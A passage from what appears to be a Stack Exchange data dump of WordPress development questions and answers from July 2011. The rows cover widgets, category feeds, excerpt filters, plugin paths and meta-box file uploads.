installation.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I am completely puzzled because I can't find any information about &lt;strong&gt;'URLPATH'&lt;/strong&gt; which is used in their example. I don't think it exists in PHP, WP or TinyMCE, but I could be wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Incidentally, were this to be an error in the WP documentation, what would I replace URLPATH with to make it work?&lt;/p&gt;&#xA;" OwnerUserId="3807" LastActivityDate="2011-07-18T20:57:11.863" Title="How can I find the 'public absolute' path of a file?" Tags="&lt;plugin-development&gt;&lt;plugin-tinymce&gt;" AnswerCount="1" />
  <row Id="23363" PostTypeId="1" AcceptedAnswerId="23377" CreationDate="2011-07-18T20:04:02.447" Score="0" ViewCount="21" Body="&lt;p&gt;Right now by blog has the 'home' section where all my new posts go, and 'pages' sections which are static pages that i can edit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my question is, can i have another section that will behave like the 'home' link?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example, can i have a page called 'cars' and a section called 'cats', where i can add new posts to either section? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if this is not possible, what are some workarounds?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit:&lt;/strong&gt;&#xA;i dont want the blog homepage to contains ALL stories, i want it to contain all stories under the cat category, and the 'car' page contain all the posts under 'car' category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in essence, it will be like i have 2 different blogs under a single blog&lt;/p&gt;&#xA;" OwnerUserId="7120" LastEditorUserId="7120" LastEditorDisplayName="" LastEditDate="2011-07-18T21:18:48.460" LastActivityDate="2011-07-18T23:05:53.393" Title="can i create 2 blog 'feeds' within one blog" Tags="&lt;pages&gt;" AnswerCount="2" />
  <row Id="23364" PostTypeId="1" AcceptedAnswerId="23368" CreationDate="2011-07-18T20:08:12.490" Score="0" ViewCount="54" Body="&lt;p&gt;This is the manual page:&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/is_active_widget&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/is_active_widget&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this is the code:&#xA;&lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.2.1/wp-includes/widgets.php&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/browser/tags/3.2.1/wp-includes/widgets.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I'm still struggling to understand how to use this function. Perhaps I am using it right, but something I can't think of is wrong. But more surely, I need to know what this means:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) &quot;callback&quot; - I assumed this was the name of the Widget class. Am I right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) widget id, what is this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) id base, what is it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) &quot;Whether to check in 'wp_inactive_widgets'.&quot; What is wp_inactive_widgets?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really feel like the manual isn't explaining these things. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's something that I put together which does not work!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function cbs_register_widgets() {&#xA;    register_widget( 'cbs_map_widget' );&#xA;}&#xA;&#xA;add_action( 'widgets_init', 'cbs_register_widgets' );&#xA;&#xA;function cbs_enqueue_resources() {&#xA;&#xA;    if ( is_active_widget( 'cbs_map_widget' ) ) {&#xA;        wp_enqueue_script( 'fancybox-js', plugins_url( '/fancybox/jquery.fancybox-1.3.4.pack.js', __FILE__), array( 'jquery' ), '1.3.4' );&#xA;        wp_enqueue_style( 'fancybox-css', plugins_url( '/fancybox/jquery.fancybox-1.3.4.js', __FILE__ ), '', '1.3.4' );&#xA;    }&#xA;&#xA;    wp_enqueue_script( 'cbs-widgets-js', plugins_url( '/js/cbs-widgets.js', __FILE__ ), array( 'jquery' ) );&#xA;    wp_enqueue_style( 'cbs-widgets-css', plugins_url( '/css/style.css', __FILE__ ) );&#xA;&#xA;}&#xA;&#xA;add_action( 'template_redirect', 'cbs_enqueue_resources' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The enqueueing in itself works, it is the is_active_widget that doesn't work. The widget itself works too, and displays correctly. Just the fancybox js that's missing....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my implementation of one of the answers I got below, it does not work either:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class cbs_map_widget extends WP_Widget&#xA;{&#xA;    function cbs_map_widget()&#xA;    {&#xA;        $ops = array('classname' =&amp;gt; 'cbs-map-widget', 'description' =&amp;gt; 'Visar en karta över Chalmers område där lokaler som används av Sällskapet har markerats.');&#xA;&#xA;        $this-&amp;gt;WP_Widget('cbs-map-widget', 'CBS kartwidget', $ops);&#xA;    }&#xA;&#xA;    function widget($args, $instance)&#xA;    {&#xA;        extract($args);&#xA;&#xA;        echo $before_widget;&#xA;&#xA;        echo '&amp;lt;div class=&quot;overline&quot;&amp;gt;text&amp;lt;/div&amp;gt;';&#xA;        echo '&amp;lt;a href=&quot;#&quot; class=&quot;cbs-map-widget&quot;&amp;gt;&amp;lt;img src=&quot;' . plugins_url( '/images/map.png', __FILE__ ) . '&quot; title=&quot;&quot; /&amp;gt;&amp;lt;/a&amp;gt;';&#xA;&#xA;        echo $after_widget;&#xA;&#xA;        add_action('wp_enqueue_scripts', array(&amp;amp;$this, 'js'));&#xA;    }&#xA;&#xA;    function js()&#xA;    {&#xA;        if ( is_active_widget(false, false, $this-&amp;gt;id_base, true) ) {&#xA;            wp_enqueue_script( 'fancybox-js', plugins_url( '/fancybox/jquery.fancybox-1.3.4.pack.js', __FILE__), array( 'jquery' ), '1.3.4' );&#xA;            wp_enqueue_style( 'fancybox-css', plugins_url( '/fancybox/jquery.fancybox-1.3.4.js', __FILE__ ), '', '1.3.4' );&#xA;        }&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5028" LastEditorUserId="5028" LastEditorDisplayName="" LastEditDate="2011-07-18T21:14:45.707" LastActivityDate="2011-07-18T21:14:45.707" Title="How do I use is_active_widget?" Tags="&lt;widgets&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="23365" PostTypeId="2" ParentId="19907" CreationDate="2011-07-18T20:09:42.457" Score="1" ViewCount="" Body="&lt;p&gt;I solved this in Javascript. If you want to completely prevent it you should also do it server-side, because you can edit the widgets with Javascript disabled (try it out!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The different sidebars are checked when you drop widgets to them or away from them. If they become full, the background color changes and you can no longer drop items on them. If, on startup, the sidebar is already more than full (because you tightened the restriction), the background color becomes red. You can still drag widgets away from full widgets to make them empty again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/tcVwM.png&quot; alt=&quot;One full and one more than full sidebar&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please test out this code, to find ways to add or remove widgets that I missed. The &quot;magic&quot; in the jQuery code comes from &lt;a href=&quot;http://stackoverflow.com/users/821185/aman&quot;&gt;Aman&lt;/a&gt;, who &lt;a href=&quot;http://stackoverflow.com/questions/6636701/limit-number-of-items-in-sortable-with-draggable-as-source/6663581#6663581&quot;&gt;answered a Stack Overflow question I posted about it&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Javascript:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery( function( $ ) {&#xA;    var sidebarLimits = {&#xA;        'sidebar-1': 2,&#xA;        'sidebar-2': 2,&#xA;    };&#xA;    var realSidebars = $( '#widgets-right div.widgets-sortables' );&#xA;    var availableWidgets = $( '#widget-list' ).children( '.widget' );&#xA;&#xA;    var checkLength = function( sidebar, delta ) {&#xA;        var sidebarId = sidebar.id;&#xA;        if ( undefined === sidebarLimits[sidebarId] ) {&#xA;            return;&#xA;        }&#xA;&#xA;        // This is a limited sidebar&#xA;        // Find out how many widgets it already has&#xA;        var widgets = $( sidebar ).sortable( 'toArray' );&#xA;        $( sidebar ).toggleClass( 'sidebar-full', sidebarLimits[sidebarId] &amp;lt;= widgets.length + (delta || 0) );&#xA;        $( sidebar ).toggleClass( 'sidebar-morethanfull', sidebarLimits[sidebarId] &amp;lt; widgets.length + (delta || 0) );&#xA;&#xA;        var notFullSidebars = $( 'div.widgets-sortables' ).not( '.sidebar-full' );&#xA;        availableWidgets.draggable( 'option', 'connectToSortable', notFullSidebars );&#xA;        realSidebars.sortable( 'option', 'connectWith', notFullSidebars );&#xA;    }&#xA;&#xA;    // Check existing sidebars on startup&#xA;    realSidebars.map( function() {&#xA;        checkLength( this );&#xA;    } );&#xA;&#xA;    // Update when dragging to this (sort-receive)&#xA;    // and away to another sortable (sort-remove)&#xA;    realSidebars.bind( 'sortreceive sortremove', function( event, ui ) {&#xA;        checkLength( this );&#xA;    } );&#xA;&#xA;    // Update when dragging back to the &quot;Available widgets&quot; stack&#xA;    realSidebars.bind( 'sortstop', function( event, ui ) {&#xA;        if ( ui.item.hasClass( 'deleting' ) ) {&#xA;            checkLength( this, -1 );&#xA;        }&#xA;    } );&#xA;&#xA;    // Update when the &quot;Delete&quot; link is clicked&#xA;    $( 'a.widget-control-remove' ).live( 'click', function() {&#xA;        checkLength( $( this ).closest( 'div.widgets-sortables' )[0], -1 );&#xA;    } );&#xA;} );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;CSS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.sidebar-full&#xA;{&#xA;    background-color: #cfe1ef !important;&#xA;}&#xA;&#xA;.sidebar-morethanfull&#xA;{&#xA;    background-color: #c43 !important;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;PHP to load them:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$wpse19907_file = $plugin;&#xA;add_action( 'admin_enqueue_scripts', 'wpse19907_admin_enqueue_scripts' );&#xA;function wpse19907_admin_enqueue_scripts( $hook_suffix )&#xA;{&#xA;    if ( 'widgets.php' == $hook_suffix ) {&#xA;        wp_enqueue_script( 'wpse-19907', plugins_url( 'wpse-19907.js', $GLOBALS['wpse19907_file'] ), array(), false, true );&#xA;        wp_enqueue_style( 'wpse-19907', plugins_url( 'wpse-19907.css', $GLOBALS['wpse19907_file'] ) );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;An attempt at a server-side check (probably not complete yet):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$wpse19907_sidebars_max_widgets = array(&#xA;    'sidebar-1' =&amp;gt; 2,&#xA;);&#xA;&#xA;add_action( 'sidebar_admin_setup', 'wpse19907_sidebar_admin_setup' );&#xA;function wpse19907_sidebar_admin_setup()&#xA;{&#xA;    if ( ! isset( $_POST['action'] ) || 'save-widget' != $_POST['action'] || empty( $_POST['add_new'] ) ) {&#xA;        return;&#xA;    }&#xA;&#xA;    // We're adding a new widget to a sidebar&#xA;    global $wpse19907_sidebars_max_widgets;&#xA;    $sidebar_id = $_POST['sidebar'];&#xA;&#xA;    if ( ! array_key_exists( $sidebar_id, $wpse19907_sidebars_max_widgets ) ) {&#xA;        return;&#xA;    }&#xA;&#xA;    $sidebar = wp_get_sidebars_widgets();&#xA;    $sidebar = isset( $sidebars[$sidebar_id] ) ? $sidebars[$sidebar_id] : array();&#xA;&#xA;    if ( count( $sidebar ) &amp;lt;= $wpse19907_sidebars_max_widgets[$sidebar_id] ) {&#xA;        die( 'mx' ); // Length must be shorter than 2, and unique&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-07-18T20:09:42.457" />
  <row Id="23366" PostTypeId="1" CreationDate="2011-07-18T20:40:03.910" Score="0" ViewCount="12" Body="&lt;p&gt;I am using PowerPress for my podcast support. I am working on some things on the web site and I swear, I set the enclosure, verify via phpMyAdmin that it is there. I don't touch anything on the site and check minutes later and the enclosure is missing. Huh?!?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any ideas where to start looking? I am running my own server on Ubuntu 11.x. I am using Apache for my web server.&lt;/p&gt;&#xA;" OwnerUserId="104" LastActivityDate="2011-08-24T14:34:11.860" Title="Enclosures being deleted &quot;automatically&quot;" Tags="&lt;deleted&gt;&lt;enclosure&gt;" AnswerCount="1" />
  <row Id="23367" PostTypeId="1" AcceptedAnswerId="23371" CreationDate="2011-07-18T20:40:12.847" Score="0" ViewCount="17" Body="&lt;p&gt;I am displaying the wordpress posts on the index page with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my functions.php file I have following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('excerpt_length', 'my_excerpt_length');&#xA;function my_excerpt_length($length) {&#xA;return 30; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works fine but it shows &lt;code&gt;[...]&lt;/code&gt; at the end of excerpt. I want to remove these &lt;code&gt;[&lt;/code&gt; and &lt;code&gt;]&lt;/code&gt; and instead I want to show only three dots &lt;code&gt;...&lt;/code&gt; . How can i do that? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="6908" LastActivityDate="2011-07-18T20:50:16.827" Title="Remove [ and ] from excerpt" Tags="&lt;excerpt&gt;" AnswerCount="1" />
  <row Id="23368" PostTypeId="2" ParentId="23364" CreationDate="2011-07-18T20:40:34.720" Score="1" ViewCount="" Body="&lt;p&gt;You should make the check inside the widget class, unless you don't have a choice. The example in the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/is_active_widget&quot; rel=&quot;nofollow&quot;&gt;codex&lt;/a&gt; is pretty much what you're looking for:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class cbs_map_widget extends WP_Widget{&#xA;&#xA;  function cbs_map_widget(){&#xA;    $this-&amp;gt;WP_Widget('cbsmaps', __('Widget Name'), array('classname' =&amp;gt; 'cbsmaps', 'description' =&amp;gt; __('whatever')));&#xA;    ...   &#xA;    add_action('wp_enqueue_scripts', array(&amp;amp;$this, 'js'));&#xA;  }&#xA;&#xA;  function js(){&#xA;&#xA;    if ( is_active_widget(false, false, $this-&amp;gt;id_base, true) ) {&#xA;       // enqueue your scripts;&#xA;    }           &#xA;&#xA;  }&#xA;&#xA;&#xA;  ...&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;$widget_id&lt;/code&gt; parameter is useful when you need to include your scripts only for a specific widget instance. For example when you have two &lt;code&gt;cbs_map_widget&lt;/code&gt; widgets and want to include custom javascript for each of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;$callback&lt;/code&gt; argument is useful when you need to do the check outside the widget class (like you did above), but try to avoid it if you can do your check inside the class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other arguments are pretty much self explanatory (id_base is basically a &quot;widget class indentifier&quot;, and the &lt;code&gt;$skip_inactive&lt;/code&gt; is whether to check inactive widgets as well - should be true because I don't think you want to do that)...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;hr&gt;&#xA;&lt;strong&gt;Edit: &lt;em&gt;How to find the &lt;code&gt;$widget_id&lt;/code&gt; (A widget instance ID)&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again, you don't need this unless you specifically want to check if a certain widget instance is active. Personally I use this method because I can access the instance options too:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; ...&#xA; function js(){&#xA;&#xA;    // we need to process all instances because this function gets to run only once&#xA;    $widget_settings = get_option($this-&amp;gt;option_name);&#xA;&#xA;    foreach((array)$widget_settings as $instance =&amp;gt; $options){&#xA;&#xA;      // identify instance&#xA;      $id = &quot;{$this-&amp;gt;id_base}-{$instance}&quot;;&#xA;&#xA;      // check if it's our instance&#xA;      if(!is_active_widget(false, $id, $this-&amp;gt;id_base)) continue; // not active&#xA;&#xA;      // instance is active&#xA;      // access the widget instance options here, you may need them to do your checks&#xA;      if($options['yourwidgetoption']) {&#xA;         // do stuff &#xA;      } &#xA;    }&#xA;&#xA; }&#xA; ... &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1986" LastEditorUserId="1986" LastEditorDisplayName="" LastEditDate="2011-07-18T21:13:45.200" LastActivityDate="2011-07-18T21:13:45.200" CommentCount="3" />
  <row Id="23369" PostTypeId="2" ParentId="23363" CreationDate="2011-07-18T20:48:59.773" Score="1" ViewCount="" Body="&lt;p&gt;You can use categories. Have a &quot;Cats&quot; category, and a &quot;Cars&quot; category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your main Blog Posts Index will show Posts in all categories by default, but your Category archive index pages will show only posts from the given category. So:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;example.com&lt;/code&gt;: all blog posts&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;example.com/category/cats/&lt;/code&gt;: posts in the &quot;Cats&quot; category&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;example.com/category/cars/&lt;/code&gt;: posts in the &quot;Cars&quot; category&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And each category archive index page has its own feed, so you can have a &quot;Cats&quot; feed, and a &quot;Cars&quot; feed:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;example.com/feed/&lt;/code&gt;: feed for all blog posts&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;example.com/category/cats/feed/&lt;/code&gt;: feed for the &quot;Cats&quot; category&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;example.com/category/cars/feed/&lt;/code&gt;: feed for the &quot;Cars&quot; category&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-18T20:48:59.773" CommentCount="1" />
  <row Id="23370" PostTypeId="2" ParentId="23360" CreationDate="2011-07-18T20:49:54.047" Score="0" ViewCount="" Body="&lt;p&gt;Typically, the plugin folder only needs to be writable by your user account, but this could potentially vary depending on what user your web server is running as. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, most of my installs have the plugins folder set to 755, but this is because Apache is running as the same user as the owner of the folder. Check who your server is running as if you think the permissions are correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more info on permissions and WordPress hardening in general, check out &lt;a href=&quot;http://codex.wordpress.org/Hardening_WordPress#File_permissions&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Hardening_WordPress#File_permissions&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7105" LastActivityDate="2011-07-18T20:49:54.047" />
  <row Id="23371" PostTypeId="2" ParentId="23367" CreationDate="2011-07-18T20:50:16.827" Score="1" ViewCount="" Body="&lt;p&gt;Use the &lt;code&gt;excerpt_more&lt;/code&gt; filter hook:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function mytheme_excerpt_more( $text ) {&#xA;    $text = '...';&#xA;    return $text;&#xA;}&#xA;add_filter( 'excerpt_more', 'mytheme_excerpt_more' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-18T20:50:16.827" />
  <row Id="23372" PostTypeId="2" ParentId="23366" CreationDate="2011-07-18T20:52:56.187" Score="0" ViewCount="" Body="&lt;p&gt;Okay, &lt;a href=&quot;http://kevinjedwards.com/51/how-to-stop-wordpress-28-from-deleting-enclosures/&quot; rel=&quot;nofollow&quot;&gt;looks like this is a &quot;feature&quot;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="104" LastActivityDate="2011-07-18T20:52:56.187" />
  <row Id="23373" PostTypeId="2" ParentId="23362" CreationDate="2011-07-18T20:57:11.863" Score="1" ViewCount="" Body="&lt;p&gt;Assuming your resource is included in your Plugin:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;plugins_url()&lt;/code&gt; is the URL to &lt;code&gt;\wp-content\plugins\&lt;/code&gt; (&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/plugins_url&quot; rel=&quot;nofollow&quot;&gt;Codex ref&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So if you have a .js file in &lt;code&gt;\wp-content\plugins\plugin-slug\file.js&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php echo plugins_url() . '\plugin-slug\file.js'; ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;BUT WAIT!!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your purpose is &lt;em&gt;actually&lt;/em&gt; to load a javascript file, you actually want to &lt;em&gt;enqueue&lt;/em&gt; that file, using &lt;code&gt;wp_enqueue_script()&lt;/code&gt;, hooked into the &lt;code&gt;wp_enqueue_scripts&lt;/code&gt; hook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And &lt;code&gt;wp_enqueue_script()&lt;/code&gt; uses the &lt;em&gt;filepath&lt;/em&gt; rather than the &lt;em&gt;URL&lt;/em&gt;, so you could use &lt;code&gt;dirname(___FILE___)&lt;/code&gt; if that' what you're comfortable with.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-18T20:57:11.863" CommentCount="3" />
  <row Id="23374" PostTypeId="1" AcceptedAnswerId="23375" CreationDate="2011-07-18T21:05:53.983" Score="1" ViewCount="35" Body="&lt;p&gt;I've just started developing a WP plugin, and i've been reading some code from other plugins as a way to get started. I've seen a couple of plugins that wrap all or some of their functions in the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(!function_exists('my_function')) {&#xA;    function my_function() {&#xA;        // a cool function&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it considered good practice to wrap all functions in this code to avoid naming conflicts with other plugins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="7121" LastActivityDate="2011-07-18T21:16:50.450" Title="When to check if a function exists" Tags="&lt;plugin-development&gt;&lt;functions&gt;&lt;best-practices&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="23375" PostTypeId="2" ParentId="23374" CreationDate="2011-07-18T21:16:50.450" Score="1" ViewCount="" Body="&lt;p&gt;I would not do this to prevent naming conflicts: if another unrelated plugin uses the same name, it's unlikely that they will provide the same functionality and your plugin can continue as normal. There you want to fail early, not sneaky later on. Or prevent the conflict with a better prefix of course :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only reason to do this is to create a &lt;em&gt;pluggable function&lt;/em&gt;, a separate piece of functionality that can be implemented in a different way by an additional plugin. You can see this in the WordPress core code: functions like wp_mail() are pluggable so you can use a completely custom mailing system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also see this in themes that are likely to get child themes. The default themes, Twemty Eleven and Twenty Ten before it, are good examples of this. Child themes can define functions with the same name, and they will be used instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally, I don't really like this approach to provide hooks for other code. They make it harder to figure out what code will be called (an my IDE code completion gets confused). I try to provide all extension points via &quot;classic&quot; actions and filters. &lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-07-18T21:16:50.450" CommentCount="2" />
  <row Id="23376" PostTypeId="1" CreationDate="2011-07-18T22:01:15.310" Score="1" ViewCount="62" Body="&lt;p&gt;Having a bit of trouble with an image upload custom meta box. What happens is the uploaded image is created as an attachment but the wp_handle_upload seems to kick back the error &quot;Specified file failed upload test&quot; rather than updating my post meta? Seem odd though that the attachment is created without issues? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Heres the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Make the forms multipart&#xA;add_action('post_edit_form_tag', 'post_edit_form_tag');&#xA;function post_edit_form_tag() {&#xA;   echo ' enctype=&quot;multipart/form-data&quot;';&#xA;}&#xA;&#xA;/* Setup custom meta boxes for posts */&#xA;$new_meta_boxes =&#xA;    array(&#xA;    &quot;xxxx_kw1&quot; =&amp;gt; array(&#xA;        &quot;name&quot; =&amp;gt; &quot;xxxx_kw1&quot;,&#xA;        &quot;std&quot; =&amp;gt; &quot;&quot;,&#xA;        &quot;title&quot; =&amp;gt; &quot;Keyword 1&quot;,&#xA;        &quot;type&quot; =&amp;gt; &quot;text&quot;&#xA;        ),&#xA;    &quot;xxxx_url1&quot; =&amp;gt; array(&#xA;        &quot;name&quot; =&amp;gt; &quot;xxxx_url1&quot;,&#xA;        &quot;std&quot; =&amp;gt; &quot;&quot;,&#xA;        &quot;title&quot; =&amp;gt; &quot;URL 1&quot;,&#xA;        &quot;type&quot; =&amp;gt; &quot;text&quot;&#xA;        ),&#xA;    &quot;xxxx_kw2&quot; =&amp;gt; array(&#xA;        &quot;name&quot; =&amp;gt; &quot;xxxx_kw2&quot;,&#xA;        &quot;std&quot; =&amp;gt; &quot;&quot;,&#xA;        &quot;title&quot; =&amp;gt; &quot;Keyword 2&quot;,&#xA;        &quot;type&quot; =&amp;gt; &quot;text&quot;&#xA;        ),&#xA;    &quot;xxxx_url2&quot; =&amp;gt; array(&#xA;        &quot;name&quot; =&amp;gt; &quot;xxxx_url2&quot;,&#xA;        &quot;std&quot; =&amp;gt; &quot;&quot;,&#xA;        &quot;title&quot; =&amp;gt; &quot;URL 2&quot;,&#xA;        &quot;type&quot; =&amp;gt; &quot;text&quot;&#xA;        ),&#xA;    &quot;xxxx_kw3&quot; =&amp;gt; array(&#xA;        &quot;name&quot; =&amp;gt; &quot;xxxx_kw3&quot;,&#xA;        &quot;std&quot; =&amp;gt; &quot;&quot;,&#xA;        &quot;title&quot; =&amp;gt; &quot;Keyword 3&quot;,&#xA;        &quot;type&quot; =&amp;gt; &quot;text&quot;&#xA;        ),&#xA;    &quot;xxxx_url3&quot; =&amp;gt; array(&#xA;        &quot;name&quot; =&amp;gt; &quot;xxxx_url3&quot;,&#xA;        &quot;std&quot; =&amp;gt; &quot;&quot;,&#xA;        &quot;title&quot; =&amp;gt; &quot;URL 3&quot;,&#xA;        &quot;type&quot; =&amp;gt; &quot;text&quot;&#xA;        ),&#xA;    &quot;xxxx_image&quot; =&amp;gt; array(&#xA;        &quot;name&quot; =&amp;gt; &quot;xxxx_image&quot;,&#xA;        &quot;std&quot; =&amp;gt; &quot;&quot;,&#xA;        &quot;title&quot; =&amp;gt; &quot;Image Upload&quot;,&#xA;        &quot;type&quot; =&amp;gt; &quot;file&quot;&#xA;        )&#xA;&#xA;);&#xA;&#xA;function new_meta_boxes() { &#xA;    global $post, $new_meta_boxes;&#xA;&#xA;    foreach($new_meta_boxes as $meta_box) {&#xA;        $meta_box_value = get_post_meta($post-&amp;gt;ID, $meta_box['name'], true);&#xA;&#xA;        if($meta_box['type'] == 'file') { $meta_box_value = get_post_meta($post-&amp;gt;ID,'xxxx_attached_image', true); }&#xA;&#xA;        if($meta_box_value == &quot;&quot;)&#xA;        $meta_box_value = $meta_box['std']; &#xA;&#xA;        echo'&amp;lt;input type=&quot;hidden&quot; name=&quot;'.$meta_box['name'].'_noncename&quot; id=&quot;'.$meta_box['name'].'_noncename&quot; value=&quot;'.wp_create_nonce( plugin_basename(__FILE__) ).'&quot; /&amp;gt;';&#xA;&#xA;        echo'&amp;lt;p&amp;gt;&amp;lt;label for=&quot;'.$meta_box['name'].'&quot;&amp;gt;'.$meta_box['title'].'&amp;lt;/label&amp;gt;&amp;lt;/p&amp;gt;';&#xA;&#xA;        echo'&amp;lt;input type=&quot;'.$meta_box['type'].'&quot; name=&quot;'.$meta_box['name'].'&quot; value=&quot;'.$meta_box_value.'&quot; size=&quot;55&quot; /&amp;gt;';&#xA;    }&#xA;}&#xA;&#xA;function create_meta_box() {&#xA;    global $theme_name;&#xA;    if ( function_exists('add_meta_box') ) {&#xA;        add_meta_box( 'new-meta-boxes', 'PR xxxx Paid Information', 'new_meta_boxes', 'post', 'normal', 'high' );&#xA;    }&#xA;}&#xA;&#xA;function save_postdata( $post_id ) {&#xA;    global $post, $new_meta_boxes;&#xA;&#xA;    $_POST = array_map('mysql_real_escape_string', $_POST);&#xA;&#xA;    foreach($new_meta_boxes as $meta_box) {&#xA;        // Verify&#xA;        if ( !wp_verify_nonce( $_POST[$meta_box['name'].'_noncename'], plugin_basename(__FILE__) )) {&#xA;            return $post_id;&#xA;        }&#xA;&#xA;        if ( !current_user_can( 'edit_post', $post_id ))&#xA;            return $post_id;&#xA;&#xA;        if($meta_box['type'] == 'file') : // if data is a file we'll need to treat if differently...&#xA;&#xA;            $data = $_FILES[$meta_box['name']];&#xA;&#xA;            // If the upload field has a file in it&#xA;            if(isset($data) &amp;amp;&amp;amp; ($data['size'] &amp;gt; 0)) {&#xA;&#xA;                // Get the type of the uploaded file. This is returned as &quot;type/extension&quot;&#xA;                $arr_file_type = wp_check_filetype(basename($data['name']));&#xA;  